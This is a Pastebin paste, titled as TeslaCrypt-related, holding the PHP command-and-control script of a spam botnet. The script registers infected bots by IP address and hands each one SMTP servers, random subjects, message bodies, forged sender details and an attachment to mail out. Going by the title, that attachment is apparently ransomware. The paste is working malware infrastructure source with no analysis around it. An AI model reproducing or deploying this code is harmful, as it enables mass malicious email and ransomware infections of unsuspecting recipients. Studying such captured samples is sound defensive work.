Advertisement
benkow_

TeslaCrypt | bombila spammer cmd.php

Mar 1st, 2016
624
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.96 KB | None | 0 0
  1. <?php
  2.  
  3. #############################
  4. #            SPAMER - SPB #
  5. #############################
  6.  
  7. error_reporting(0);
  8.  
  9. require_once 'system/core.php';
  10.  
  11.  
  12.  
  13.  if (isset($_POST['status']))
  14. {
  15.  
  16.  
  17.    $status = int($_POST['status']);
  18.    $ip_bot = $_SERVER['REMOTE_ADDR'];
  19.  
  20.  
  21.    $sql_b = mysql_query("SELECT * FROM `bots` WHERE `ip`='$ip_bot' LIMIT 1");
  22.  
  23.         if (mysql_num_rows($sql_b) == 0)
  24.         {
  25.  
  26.  
  27.                 mysql_unbuffered_query("INSERT INTO `bots` (`ip`, `time`) VALUES ('$ip_bot', '".time()."')");
  28.  
  29.         }
  30.         else
  31.         {
  32.  $out_b = mysql_fetch_array($sql_b);
  33. mysql_unbuffered_query("UPDATE `bots` SET `status`='$status', `time`='".time()."' WHERE `id`='".$out_b['id']."' LIMIT 1");
  34.         }
  35. }
  36. else
  37. {
  38.         $ip_bot = $_SERVER['REMOTE_ADDR'];
  39.         $sql_b = mysql_query("SELECT * FROM `bots` WHERE `ip`='$ip_bot' LIMIT 1");
  40.  
  41.         if (mysql_num_rows($sql_b) > 0)
  42.         {
  43.                 $out_b = mysql_fetch_array($sql_b);
  44.                 $status = $set['status'];
  45.                 mysql_unbuffered_query("UPDATE `bots` SET `status`='$status', `time`='".time()."' WHERE `id`='".$out_b['id']."' LIMIT 1");
  46.  
  47.              
  48.                           if ($status == 3)
  49.                 {
  50.                  
  51.                     $out_m = mysql_fetch_array(mysql_query("SELECT * FROM `mail`"));
  52.                      
  53.                     $out_mess = mysql_fetch_array(mysql_query("SELECT * FROM `messages` ORDER BY RAND() LIMIT 1"));  /* Отдача рандомом писем */
  54.                      
  55.                      $out_t = mysql_fetch_array(mysql_query("SELECT * FROM `themes` ORDER BY RAND() LIMIT 1"));  /* Отдача рандомом темы*/
  56.  
  57.                     #$out_s = mysql_fetch_array(mysql_query("SELECT * FROM `smtp` ORDER BY RAND() LIMIT 1"));  /* Отдача рандомом темы*/
  58.  
  59.  
  60.                         ##########################################################
  61.  
  62.                    
  63.                 $kolps = $out_m['kolps'];
  64.  
  65.                 #$smtp .= $out_s['domen']."\t";
  66.  
  67.                 $thema = $out_t['thema'];
  68.  
  69.                 $message = $out_mess['message'];
  70.            
  71.                 $x_mailer = $out_m['x_mailer'];    /* x_mailer */
  72.  
  73.                 $from = $out_m['from'];    /* имя аттача */
  74.  
  75.                 $reply = $out_m['reply'];    /* имя аттача */
  76.  
  77.  $row_count = mysql_result(mysql_query('SELECT COUNT(*) FROM smtp;'), 0);
  78. $query = array();
  79. while (count($query) < 5) {
  80.     $query[] = '(SELECT * FROM smtp LIMIT '.rand(0, $row_count).', 1)';
  81. }
  82. $query = implode(' UNION ', $query);
  83. $res = mysql_query($query);
  84.  
  85.  
  86.  
  87.                     while ($out = mysql_fetch_array($res))
  88.                               {
  89.                                  $smtp .= $out['domen']."\t";
  90.  
  91.                                }
  92.  
  93. ###################################################################################
  94.  
  95.  
  96.  
  97. ################################################################
  98.  
  99.                            $scan = scandir('attach');
  100.  
  101.                         if (file_exists('attach/'.$scan[2]))
  102.                         {
  103.                        
  104.                         $out_sh = mysql_fetch_array(mysql_query("SELECT * FROM `mail`")); /* Для макроса аттача */
  105.  
  106.                     copy('attach/'.$scan[2], 'go_attach/'.$scan[2]); /* Рандом аттача*/
  107.    
  108.                            
  109.                                  unlink('attach/'.$scan[2]);
  110.                                  
  111.                        
  112.                            $scanm = scandir('mails');
  113.  
  114.                         if (file_exists('mails/'.$scanm[2]))
  115.                         {
  116.                                 copy('mails/'.$scanm[2], 'go_mails/botid-'.$out_b['id'].'_'.$scanm[2]);
  117.                                   unlink('mails/'.$scanm[2]);
  118.    
  119.                    
  120.  
  121.                           $out_sh = mysql_fetch_array(mysql_query("SELECT * FROM `mail`"));
  122.                           $ran_mac = $out_sh['html'];
  123.                           $rf = $out_sh['mot'];
  124.                      
  125.  
  126.  
  127. if ($ran_mac == 0){
  128.  
  129. $out_n = mysql_fetch_array(mysql_query("SELECT * FROM `name` ORDER BY RAND() LIMIT 1000"));
  130. $out_f = mysql_fetch_array(mysql_query("SELECT * FROM `famyli` ORDER BY RAND() LIMIT 1000"));
  131.  
  132.  
  133.     $file = fopen("header/name.txt", 'a+');
  134.     fwrite($file, $out_n['name']."\t".$out_f['famyli']."\n");
  135.     fclose($file);
  136.  
  137.  
  138. $attach = scandir('go_attach');
  139.  
  140.   if (file_exists('go_attach/'.$attach[2]))
  141.                         {
  142.  
  143.            echo "3\n".$out_sh['sh']."\n".iconv("UTF-8", "UTF-8", $smtp)."\n".PATH."go_mails/botid-".$out_b['id']."_".$scanm[2]."\n".PATH."header/".$name."\n".PATH."go_attach/".$attach[2]."\n".iconv("UTF-8", "UTF-8", $from)."\n".iconv("UTF-8", "UTF-8", $x_mailer)."\n".iconv("UTF-8", "UTF-8", $reply)."\n".iconv("UTF-8", "UTF-8", $kolps)."\n".iconv("UTF-8", "UTF-8", $thema)."\n".iconv("UTF-8", "UTF-8", $message);
  144.  }  
  145. }
  146.                        
  147. if ($ran_mac == 1){
  148.  
  149. /*$out_n = mysql_fetch_array(mysql_query("SELECT * FROM `name` ORDER BY RAND() LIMIT 1000"));
  150. $out_f = mysql_fetch_array(mysql_query("SELECT * FROM `famyli` ORDER BY RAND() LIMIT 1000"));
  151.  
  152.  
  153.     $file = fopen("header/name.txt", 'a+');
  154.     fwrite($file, $out_n['name']."\t".$out_f['famyli']."\n");
  155.     fclose($file);
  156. */
  157.  
  158. $attach = scandir('go_attach');
  159.  
  160.   if (file_exists('go_attach/'.$attach[2]))
  161.                         {
  162.  
  163.            echo "3\n".$out_sh['sh']."\n".iconv("UTF-8", "UTF-8", $smtp)."\n".PATH."go_mails/botid-".$out_b['id']."_".$scanm[2]."\n".PATH."header/".$name."\n".PATH."go_attach/".$attach[2]."\n[ID:".mt_rand(0,9999999)."-".mt_rand(0,9999)."]".$rf."\n".iconv("UTF-8", "UTF-8", $x_mailer)."\n".iconv("UTF-8", "UTF-8", $reply)."\n".iconv("UTF-8", "UTF-8", $kolps)."\n".iconv("UTF-8", "UTF-8", $thema)."\n".iconv("UTF-8", "UTF-8", $message);
  164.               }            
  165.              }
  166.           }
  167.         }
  168.       }
  169.    }
  170.  }
  171. mysql_unbuffered_query("UPDATE `bots` SET `life`=0 WHERE `time`<'".(time()-1200)."'");
  172. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement